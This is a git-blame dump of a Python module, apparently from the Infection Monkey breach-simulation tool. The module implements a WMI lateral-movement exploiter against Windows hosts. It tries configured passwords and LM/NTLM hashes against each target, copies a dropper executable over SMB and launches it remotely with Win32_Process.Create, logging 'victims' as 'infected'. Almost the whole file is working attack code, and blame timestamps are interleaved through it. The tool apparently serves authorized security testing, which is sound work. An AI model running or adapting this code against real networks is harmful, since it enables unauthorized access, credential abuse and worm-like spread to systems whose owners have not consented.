2015-08-30 15:27:35 +08:00
|
|
|
import logging
|
2017-10-11 23:05:03 +08:00
|
|
|
import ntpath
|
|
|
|
import socket
|
2015-08-30 15:27:35 +08:00
|
|
|
import traceback
|
2017-10-11 23:05:03 +08:00
|
|
|
|
2016-08-09 05:23:18 +08:00
|
|
|
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
2015-08-30 15:27:35 +08:00
|
|
|
|
2017-10-11 23:05:03 +08:00
|
|
|
from exploit import HostExploiter
|
|
|
|
from exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, get_monkey_depth
|
|
|
|
from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
|
|
|
|
from tools import build_monkey_commandline
|
|
|
|
|
2015-08-30 15:27:35 +08:00
|
|
|
LOG = logging.getLogger(__name__)
|
|
|
|
|
2015-11-30 16:56:20 +08:00
|
|
|
|
2015-08-30 15:27:35 +08:00
|
|
|
class WmiExploiter(HostExploiter):
|
2017-10-16 15:58:11 +08:00
|
|
|
_TARGET_OS_TYPE = ['windows']
|
|
|
|
|
2017-10-11 23:05:03 +08:00
|
|
|
def __init__(self, host):
|
|
|
|
super(WmiExploiter, self).__init__(host)
|
2015-08-30 15:27:35 +08:00
|
|
|
self._config = __import__('config').WormConfiguration
|
2016-07-20 05:53:41 +08:00
|
|
|
self._guid = __import__('config').GUID
|
2015-08-30 15:27:35 +08:00
|
|
|
|
|
|
|
@WmiTools.dcom_wrap
|
2017-10-11 23:05:03 +08:00
|
|
|
def exploit_host(self):
|
|
|
|
src_path = get_target_monkey(self.host)
|
2015-09-29 22:58:06 +08:00
|
|
|
|
|
|
|
if not src_path:
|
2017-10-11 23:05:03 +08:00
|
|
|
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
2015-09-29 22:58:06 +08:00
|
|
|
return False
|
|
|
|
|
2017-09-27 23:30:44 +08:00
|
|
|
creds = self._config.get_exploit_user_password_or_hash_product()
|
2017-08-16 20:14:26 +08:00
|
|
|
|
2017-09-27 23:30:44 +08:00
|
|
|
for user, password, lm_hash, ntlm_hash in creds:
|
|
|
|
LOG.debug("Attempting to connect %r using WMI with user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
|
2017-10-11 23:05:03 +08:00
|
|
|
self.host, user, password, lm_hash, ntlm_hash)
|
2015-08-30 15:27:35 +08:00
|
|
|
|
|
|
|
wmi_connection = WmiTools.WmiConnection()
|
|
|
|
|
|
|
|
try:
|
2017-10-11 23:05:03 +08:00
|
|
|
wmi_connection.connect(self.host, user, password, None, lm_hash, ntlm_hash)
|
2015-08-30 15:27:35 +08:00
|
|
|
except AccessDeniedException:
|
2017-10-11 23:05:03 +08:00
|
|
|
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
|
2017-09-27 23:30:44 +08:00
|
|
|
LOG.debug("Failed connecting to %r using WMI with "
|
|
|
|
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
|
2017-10-11 23:05:03 +08:00
|
|
|
self.host, user, password, lm_hash, ntlm_hash)
|
2015-08-30 15:27:35 +08:00
|
|
|
continue
|
2017-10-11 23:05:03 +08:00
|
|
|
except DCERPCException:
|
|
|
|
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
|
2017-09-27 23:30:44 +08:00
|
|
|
LOG.debug("Failed connecting to %r using WMI with "
|
|
|
|
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
|
2017-10-11 23:05:03 +08:00
|
|
|
self.host, user, password, lm_hash, ntlm_hash)
|
2016-08-09 05:23:18 +08:00
|
|
|
continue
|
2017-10-11 23:05:03 +08:00
|
|
|
except socket.error:
|
2017-09-27 23:30:44 +08:00
|
|
|
LOG.debug("Network error in WMI connection to %r with "
|
|
|
|
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
|
2017-10-11 23:05:03 +08:00
|
|
|
self.host, user, password, lm_hash, ntlm_hash)
|
2015-08-30 15:27:35 +08:00
|
|
|
return False
|
2017-09-27 23:30:44 +08:00
|
|
|
except Exception as exc:
|
|
|
|
LOG.debug("Unknown WMI connection error to %r with "
|
|
|
|
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s') (%s):\n%s",
|
2017-10-11 23:05:03 +08:00
|
|
|
self.host, user, password, lm_hash, ntlm_hash, exc, traceback.format_exc())
|
2015-08-30 15:27:35 +08:00
|
|
|
return False
|
|
|
|
|
2017-10-11 23:05:03 +08:00
|
|
|
self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
|
2015-08-30 15:27:35 +08:00
|
|
|
|
|
|
|
# query process list and check if monkey already running on victim
|
|
|
|
process_list = WmiTools.list_object(wmi_connection, "Win32_Process",
|
2017-10-11 23:05:03 +08:00
|
|
|
fields=("Caption",),
|
2015-08-30 15:27:35 +08:00
|
|
|
where="Name='%s'" % ntpath.split(src_path)[-1])
|
|
|
|
if process_list:
|
|
|
|
wmi_connection.close()
|
|
|
|
|
2017-10-11 23:05:03 +08:00
|
|
|
LOG.debug("Skipping %r - already infected", self.host)
|
2015-08-30 15:27:35 +08:00
|
|
|
return False
|
|
|
|
|
2015-11-30 16:56:20 +08:00
|
|
|
# copy the file remotely using SMB
|
2017-10-11 23:05:03 +08:00
|
|
|
remote_full_path = SmbTools.copy_file(self.host,
|
2015-08-30 15:27:35 +08:00
|
|
|
src_path,
|
2016-09-05 22:45:27 +08:00
|
|
|
self._config.dropper_target_path,
|
2017-09-26 23:11:13 +08:00
|
|
|
user,
|
|
|
|
password,
|
2017-09-27 23:30:44 +08:00
|
|
|
lm_hash,
|
|
|
|
ntlm_hash,
|
2016-09-05 22:45:27 +08:00
|
|
|
self._config.smb_download_timeout)
|
2015-08-30 15:27:35 +08:00
|
|
|
|
2015-09-07 15:25:25 +08:00
|
|
|
if not remote_full_path:
|
2015-11-30 16:56:20 +08:00
|
|
|
wmi_connection.close()
|
|
|
|
return False
|
2015-08-30 15:27:35 +08:00
|
|
|
# execute the remote dropper in case the path isn't final
|
2015-09-07 15:25:25 +08:00
|
|
|
elif remote_full_path.lower() != self._config.dropper_target_path.lower():
|
2017-09-04 21:51:22 +08:00
|
|
|
cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
|
2017-10-11 23:05:03 +08:00
|
|
|
build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path)
|
2015-08-30 15:27:35 +08:00
|
|
|
else:
|
2017-09-04 21:51:22 +08:00
|
|
|
cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
|
2017-10-11 23:05:03 +08:00
|
|
|
build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
2015-10-14 22:22:05 +08:00
|
|
|
|
2015-08-30 15:27:35 +08:00
|
|
|
# execute the remote monkey
|
|
|
|
result = WmiTools.get_object(wmi_connection, "Win32_Process").Create(cmdline,
|
|
|
|
ntpath.split(remote_full_path)[0],
|
|
|
|
None)
|
|
|
|
|
|
|
|
if (0 != result.ProcessId) and (0 == result.ReturnValue):
|
|
|
|
LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
|
2017-10-11 23:05:03 +08:00
|
|
|
remote_full_path, self.host, result.ProcessId, result.ReturnValue, cmdline)
|
2015-08-30 15:27:35 +08:00
|
|
|
success = True
|
|
|
|
else:
|
|
|
|
LOG.debug("Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
|
2017-10-11 23:05:03 +08:00
|
|
|
remote_full_path, self.host, result.ProcessId, result.ReturnValue, cmdline)
|
2015-08-30 15:27:35 +08:00
|
|
|
success = False
|
|
|
|
|
|
|
|
result.RemRelease()
|
|
|
|
wmi_connection.close()
|
|
|
|
|
|
|
|
return success
|
|
|
|
|
|
|
|
return False
|